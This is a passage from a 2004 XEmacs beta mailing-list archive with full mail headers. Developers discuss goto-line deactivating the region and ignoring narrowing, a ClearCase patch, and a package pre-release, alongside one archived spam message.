least, in the Ed> ordinary meaning of that term) and does deactivate the region. Known bug, cause unknown. Essentially all commands deactivate the region. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 5 00:14:01 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i354E1s15797; Mon, 5 Apr 2004 00:14:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i354DZA15710 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 00:13:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i354DY415701 for turnbull@tux.org; Mon, 5 Apr 2004 00:13:34 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i354DXs15696 for ; Mon, 5 Apr 2004 00:13:33 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BALUB-0003pp-00; Mon, 05 Apr 2004 13:13:23 +0900 To: "John K. Sterling" Cc: "" Subject: Re: [PATCH] clearcase missing annotate References: <43593.198.241.217.3.1079367810.cqhost@webmail.cqhost.com> <59B13E68-86A5-11D8-B7FA-000393D6052E@sterls.com> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 05 Apr 2004 13:13:23 +0900 In-Reply-To: <59B13E68-86A5-11D8-B7FA-000393D6052E@sterls.com> (John K. Sterling's message of "Sun, 4 Apr 2004 22:02:53 -0400") Message-ID: <87d66nvz8c.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "John" == John K Sterling writes: John> any other clearcase.el users out there? There are several John> other missing features in this mode - if no one here cares John> to maintain it, i'll go ahead and maintain a public patch John> that adds the required functionality. Let me know if anyone John> is interested. clearcase.el has a maintainer AFAIK, you should get in touch with that person. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 5 02:45:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i356j2s05731; Mon, 5 Apr 2004 02:45:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i356iiS05601 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 02:44:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i356ihW05592 for turnbull@tux.org; Mon, 5 Apr 2004 02:44:43 -0400 Received: from mail.LF.net (mail.LF.net [212.9.160.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i356ihs05588 for ; Mon, 5 Apr 2004 02:44:43 -0400 Received: from p50831cc8.dip.t-dialin.net ([80.131.28.200] helo=redqueen.ath.cx) by mail.LF.net with esmtp (Exim 4.22) id 1BANqc-00053G-CD for xemacs-beta@xemacs.org; Mon, 05 Apr 2004 08:44:42 +0200 Received: from nk by redqueen.ath.cx with local (Exim 4.22) id 1BANqb-0000Ti-9f for xemacs-beta@xemacs.org; Mon, 05 Apr 2004 08:44:41 +0200 To: xemacs-beta@xemacs.org Subject: Re: [PATCH] clearcase missing annotate References: <43593.198.241.217.3.1079367810.cqhost@webmail.cqhost.com> <59B13E68-86A5-11D8-B7FA-000393D6052E@sterls.com> <87d66nvz8c.fsf@tleepslib.sk.tsukuba.ac.jp> From: Norbert Koch X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org Date: Mon, 05 Apr 2004 08:44:41 +0200 In-Reply-To: <87d66nvz8c.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Mon, 05 Apr 2004 13:13:23 +0900") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > clearcase.el has a maintainer AFAIK, you should get in touch with that > person. I've informed the maintainer about the patch. norbert. From xemacs-beta-admin@xemacs.org Mon Apr 5 05:10:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i359A5s08607; Mon, 5 Apr 2004 05:10:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3599GY08437 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 05:09:16 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3599Fl08426 for turnbull@tux.org; Mon, 5 Apr 2004 05:09:15 -0400 Received: from frinabulax.org (68-69-36-139.mgtnwv.adelphia.net [68.69.36.139]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3599Fs08422 for ; Mon, 5 Apr 2004 05:09:15 -0400 Received: from localhost (localhost [127.0.0.1]) by frinabulax.org (8.12.11/8.12.11) with ESMTP id i3599EL2019725 for ; Mon, 5 Apr 2004 05:09:14 -0400 (EDT) Date: Mon, 5 Apr 2004 05:09:14 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: XEmacs Beta Subject: Re: [Bug: 21.5-b16] M-x goto-line deactivates region In-Reply-To: <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: References: <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Mon, 5 Apr 2004 about 13:07 +0900 UTC Stephen J. Turnbull wrote: > >>>>> "Ed" == Ed Avis writes: > > Ed> However, M-x goto-line is a motion command (at least, in the > Ed> ordinary meaning of that term) and does deactivate the region. > > Known bug, cause unknown. Essentially all commands deactivate the > region. I noticed this bug beginning with 21.5.b16. I noticed it with M-x sort-lines. I also noticed that if the command is bound to a key, I don't see the error. Configuration: XEmacs 21.5-b17 "chayote" (+CVS-20040321) configured for `powerpc-apple-darwin7.3.0'. ./configure '--with-mule' '--with-widgets=athena' '--with-athena=3d' '--with-dialogs=athena' '--error-checking=none' '--debug=no' '--package-path=/Users/royar/usr/local/xemacs/xemacs-packages' '--prefix=/Users/royar/usr/local' '--with-prefix' '--cflags=-no-cpp-precomp -Os' '--pdump' '--with-ldap=no' '--use-union-type' '--with-xmu' '--with-xim=no' '--with-sound=esd' '--with-xfs=no' '--with-x11' By the way, I keep XEmacs running almost all the time, begins in my .xinitrc. I have had only one lock up in many months, and that was as a result of the esd daemon crashing caused by another application. I find on my system that --use-union-type tends to be more stable. But I edit mostly html, perl, C, and plain text files, and I don't use the eshell or gnus. I do use ftp, a modified mud client, flyspell, and keep font-lock on at full throttle all the time. -- Dr. Robert Delius Royar Associate Professor of English Morehead State University Morehead, Kentucky From xemacs-beta-admin@xemacs.org Mon Apr 5 05:52:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i359q2s18702; Mon, 5 Apr 2004 05:52:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i359paR18584 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 05:51:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i359pZm18574 for turnbull@tux.org; Mon, 5 Apr 2004 05:51:35 -0400 Received: from bbc.com (CM600-lcon3-19-40.cm.vtr.net [200.104.19.40]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i359pOs18552 for ; Mon, 5 Apr 2004 05:51:34 -0400 Date: Mon, 05 Apr 2004 09:50:31 +0000 From: srtxg@farrell.org Subject: lovingX To: Xemacs-beta References: In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=1.6 required=5.0 tests=NO_REAL_NAME,PORN_4 autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello Xemacs-beta, Visit http://www.lovefolust.info/lrd/?bMNgq for loving. exPtjuyh aTGWQD Your Sugar mlird VFpzrzv uljAEn XuxtN VpNEWJwA From xemacs-beta-admin@xemacs.org Mon Apr 5 08:06:24 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35C63s17391; Mon, 5 Apr 2004 08:06:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35C5MK17267 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 08:05:22 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35C5Lk17258 for turnbull@tux.org; Mon, 5 Apr 2004 08:05:21 -0400 Received: from merlin.cqhost.net (merlin.cqhost.net [209.126.199.8]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35C5Js17251; Mon, 5 Apr 2004 08:05:19 -0400 Received: from [10.0.1.2] (232-11.suscom-maine.net [207.5.232.11]) (authenticated) by virtualmerlin.cqhost.net (8.10.2/8.10.2) with ESMTP id i35C5HK28069; Mon, 5 Apr 2004 08:05:17 -0400 In-Reply-To: <87d66nvz8c.fsf@tleepslib.sk.tsukuba.ac.jp> References: <43593.198.241.217.3.1079367810.cqhost@webmail.cqhost.com> <59B13E68-86A5-11D8-B7FA-000393D6052E@sterls.com> <87d66nvz8c.fsf@tleepslib.sk.tsukuba.ac.jp> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: "" From: "John K. Sterling" Subject: Re: [PATCH] clearcase missing annotate Date: Mon, 5 Apr 2004 08:06:30 -0400 To: "Stephen J. Turnbull" X-Mailer: Apple Mail (2.613) X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Apr 5, 2004, at 12:13 AM, Stephen J. Turnbull wrote: >>>>>> "John" == John K Sterling writes: > > clearcase.el has a maintainer AFAIK, you should get in touch with that > person. Yeah - I had originally sent the patch his way and didn't hear anything back. So I thought I'd send it here. Thanks for the response - John From xemacs-beta-admin@xemacs.org Mon Apr 5 16:15:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35KF2s12437; Mon, 5 Apr 2004 16:15:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35KEEe12214 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 16:14:14 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35KEDY12202 for turnbull@tux.org; Mon, 5 Apr 2004 16:14:13 -0400 Received: from mail.LF.net (mail.LF.net [212.9.160.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35KECs12194 for ; Mon, 5 Apr 2004 16:14:12 -0400 Received: from pd9e604fc.dip.t-dialin.net ([217.230.4.252] helo=redqueen.ath.cx) by mail.LF.net with esmtp (Exim 4.22) id 1BAaTz-000OO2-2z for xemacs-beta@xemacs.org; Mon, 05 Apr 2004 22:14:11 +0200 Received: from nk by redqueen.ath.cx with local (Exim 4.22) id 1BAaTy-000NZ3-LH for xemacs-beta@xemacs.org; Mon, 05 Apr 2004 22:14:10 +0200 To: xemacs-beta@xemacs.org Subject: XEmacs Packages have been pre-released (2004-04-05-22) From: Norbert Koch X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org Date: Mon, 05 Apr 2004 22:14:10 +0200 Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey there everyone. I have just added the following packages to the 'Pre-Releases' directory: New Packages in Pre-Release: =========================== text-modes-1.77-pkg.tar.gz upstream version: none Perhaps, I should consume other drugs from now on. I goofed twice while trying to release this package, sorry :-( Previously Announced Packages Still in Pre-Release: ================================================== c-support-1.20-pkg.tar.gz upstream version: none ecb-1.17-pkg.tar.gz upstream version: 2.21 ecrypto-0.17-pkg.tar.gz upstream version: 2.0 ediff-1.50-pkg.tar.gz upstream version: 2.75 erc-0.08-pkg.tar.gz upstream version: Version 4.0 Revision: 1.640 escreen-1.01-pkg.tar.gz upstream version: 1.16 fortran-modes-1.04-pkg.tar.gz upstream version: none hyperbole-1.15-pkg.tar.gz upstream version: 4.18 mmm-mode-1.02-pkg.tar.gz upstream version: 0.4.7 net-utils-1.42-pkg.tar.gz upstream version: N/A prog-modes-1.96-pkg.tar.gz upstream version: none ps-print-1.10-pkg.tar.gz upstream version: 6.5.6 python-modes-1.05-pkg.tar.gz upstream version: none reftex-1.34-pkg.tar.gz upstream version: 4.21 vhdl-1.19-pkg.tar.gz upstream version: 3.32.20 x-symbol-1.10-pkg.tar.gz upstream version: 4.5.1 xemacs-base-1.86-pkg.tar.gz upstream version: none xemacs-devel-1.62-pkg.tar.gz upstream version: none xlib-1.08-pkg.tar.gz upstream version: 0.1 xwem-1.08-pkg.tar.gz upstream version: 0.1 Detailed Changes: ================ - ------- ChangeLog Entries from xemacs-packages/text-modes/ChangeLog ------- 2004-04-05 Norbert Koch * Makefile (VERSION): XEmacs package 1.77 released. * Makefile (VERSION): XEmacs package 1.76 released. 2004-04-01 Jari Aalto -- Use spam protective addresses -- Merged in changes made by 2003-11-12 Adrian Aichner from XEmacs tree 1.15; Typo fixes for docstrings and comments. -- Returned to old bug and solved it in a better way (preserve region) by using different expansion macros for XEmacs and Emacs. See See http://list-archive.xemacs.org/xemacs-beta/199810/msg00039.html (folding-forward-char-1): 2.112 Renamed. Was `folding-forward-char'. (folding-backward-char-1): 2.112 Renamed. Was `folding-backward-char'. (folding-forward-char-macro): 2.112 New. Fix XEmacs region preservation with '_p' interactive spec. (folding-backward-char-macro): 2.112 New. Fix XEmacs region preservation with '_p' interactive spec. (folding-interactive-spec-p): 2.112 New. Installing These: ================ Manually: - -------- 1) Download the packages that you want to install from: /ftp.xemacs.org:/pub/xemacs/beta/experimental/packages/ 2) Unpack them to: [1] /usr/local/lib/xemacs/xemacs-packages/ 3) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.[245].x): - ---------------------------------------------- 1) Tools -> Packages -> Add Download Site -> Pre-Releases 2) Tools -> Packages -> List and Install 3) Select the packages you wish to install (there are brief instructions at the bottom of the packages buffer). 4) Packages -> Install/Remove Selected 5) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.1.14): - ------------------------------------------- 1) Options -> Manage Packages -> Add Download Site -> Pre-Releases 2) Options -> Manage Packages -> List and Install 3 - 5) As per XEmacs 21.[245].x. norbert - XEmacs Package Release Manager. Footnotes: [1] Note: Mule packages should be installed into: /usr/local/lib/xemacs/mule-packages/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQFAcb4Sgu3ywdHdhM0RAlt7AKDYJ2R/0ilMEqXcf08VTyzOwtVSkwCggGMC ZNAjpKVOvHn89CbP0m1Opdk= =ZLCd -----END PGP SIGNATURE----- From xemacs-beta-admin@xemacs.org Mon Apr 5 16:21:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35KL2s14091; Mon, 5 Apr 2004 16:21:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35KKhS14031 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 16:20:43 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35KKgh14020 for turnbull@tux.org; Mon, 5 Apr 2004 16:20:42 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35KKes14015; Mon, 5 Apr 2004 16:20:40 -0400 Received: from sfwd00.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BAaaE-0002aX-00; Mon, 05 Apr 2004 22:20:38 +0200 Received: from D5DC120J.t-online.de (Gz+OO6ZpreGcpm0XWd66I0l4-AA-o88B5dA4RN6s-NCcHQtBQLtqgm@[217.89.13.38]) by afwd00.sul.t-online.com with esmtp id 1BAaa9-2FmLMe0; Mon, 5 Apr 2004 22:20:33 +0200 To: "Stephen J. Turnbull" Cc: Ed Avis , XEmacs Beta Subject: Re: [Bug: 21.5-b16] M-x goto-line deactivates region X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: Adrian Aichner In-Reply-To: <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Mon, 05 Apr 2004 13:07:09 +0900") User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) Date: Mon, 05 Apr 2004 22:21:38 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: Gz+OO6ZpreGcpm0XWd66I0l4-AA-o88B5dA4RN6s-NCcHQtBQLtqgm X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: >>>>>> "Ed" == Ed Avis writes: > > Ed> However, M-x goto-line is a motion command (at least, in the > Ed> ordinary meaning of that term) and does deactivate the region. > > Known bug, cause unknown. Essentially all commands deactivate the > region. Contensted! Stephen, M-x goto-line deactivates the region even when the "M-x ANY-CHAR deactivated region" bug has not triggered. This behavior of goto-line is also present in 21.4, where above bug does not exist. I guess this is just a request to make goto-line fall into the class of motion-commands per description in `zmacs-regions'. While we're bashing on goto-line: It does not obey C-x n n (narrow-to-region) while M-x line-number-mode does. One or the other should change to agree with, ahem, the other. I'd favor both to work by the unnarrowed line numbers, perhaps providing for the relative behavior via an option, like `line-number-obeys-narrowing'. -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Mon Apr 5 17:03:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35L31s25173; Mon, 5 Apr 2004 17:03:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35L2mY25120 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 17:02:48 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35L2mq25111 for turnbull@tux.org; Mon, 5 Apr 2004 17:02:48 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i35L2ls25107 for ; Mon, 5 Apr 2004 17:02:47 -0400 Received: (qmail 12652 invoked from network); 5 Apr 2004 23:02:46 +0200 X-Remote-IP: 213.191.128.14 Received: from mx.iskon.hr (qmailr@213.191.128.14) by mxout2.iskon.hr with SMTP; 5 Apr 2004 23:02:46 +0200 Received: (qmail 23902 invoked from network); 5 Apr 2004 23:02:45 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 5 Apr 2004 23:02:45 +0200 To: XEmacs Beta Subject: Re: [Bug: 21.5-b16] M-x goto-line deactivates region References: <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Mon, 05 Apr 2004 23:03:48 +0200 In-Reply-To: (Adrian Aichner's message of "Mon, 05 Apr 2004 22:21:38 +0200") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Adrian Aichner writes: > This behavior of goto-line is also present in 21.4, where above bug > does not exist. Exactly. goto-line would need to be changed to (interactive "_...") regardless of the 21.5 bug. > I guess this is just a request to make goto-line fall into the class > of motion-commands per description in `zmacs-regions'. Exactly. > While we're bashing on goto-line: > > It does not obey > C-x n n (narrow-to-region) > while > M-x line-number-mode > does. Good point. On the one hand, goto-line is usually used with output from compilers and such, so it might be beneficial for it to ignore narrowing. On the other hand, the same argument could be made for line-number-mode. I think I'm in favor for leaving the status quo here. Is there a compelling reason to enforce the compatibility? From xemacs-beta-admin@xemacs.org Mon Apr 5 17:23:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35LN1s30045; Mon, 5 Apr 2004 17:23:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35LMGD29859 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 17:22:16 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35LMF729847 for turnbull@tux.org; Mon, 5 Apr 2004 17:22:15 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35LMDs29829; Mon, 5 Apr 2004 17:22:13 -0400 Received: from sfwd00.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BAbXp-0003zF-00; Mon, 05 Apr 2004 23:22:13 +0200 Received: from D5DC120J.t-online.de (GQ1A2-ZcgeHw66VE4VhoclXkAai-9cOZQjYuuS2onuhbbzb9-FNDco@[217.89.13.38]) by afwd00.sul.t-online.com with esmtp id 1BAbXg-0SQ5Oi0; Mon, 5 Apr 2004 23:22:04 +0200 To: Hrvoje Niksic Cc: XEmacs Beta Subject: Re: [Bug: 21.5-b16] M-x goto-line deactivates region X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: Adrian Aichner Date: Mon, 05 Apr 2004 23:23:09 +0200 In-Reply-To: (Hrvoje Niksic's message of "Mon, 05 Apr 2004 23:03:48 +0200") Message-ID: <4qryjf0i.fsf@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: GQ1A2-ZcgeHw66VE4VhoclXkAai-9cOZQjYuuS2onuhbbzb9-FNDco X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hrvoje Niksic writes: >> While we're bashing on goto-line: >> >> It does not obey >> C-x n n (narrow-to-region) >> while >> M-x line-number-mode >> does. > > Good point. On the one hand, goto-line is usually used with output > from compilers and such, so it might be beneficial for it to ignore > narrowing. On the other hand, the same argument could be made for > line-number-mode. > > I think I'm in favor for leaving the status quo here. Is there a > compelling reason to enforce the compatibility? Hi Hrvoje, common-sense and principle of least surprise would be good enough resons for me :-) I could live with M-x line-number-mode always being absolute as well, but the current situation seems the worst possible solution to me. -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Mon Apr 5 17:34:15 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35LY1s00608; Mon, 5 Apr 2004 17:34:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35LX4U00429 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 17:33:04 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35LX4W00417 for turnbull@tux.org; Mon, 5 Apr 2004 17:33:04 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i35LX3s00412 for ; Mon, 5 Apr 2004 17:33:03 -0400 Received: (qmail 19051 invoked from network); 5 Apr 2004 23:33:02 +0200 X-Remote-IP: 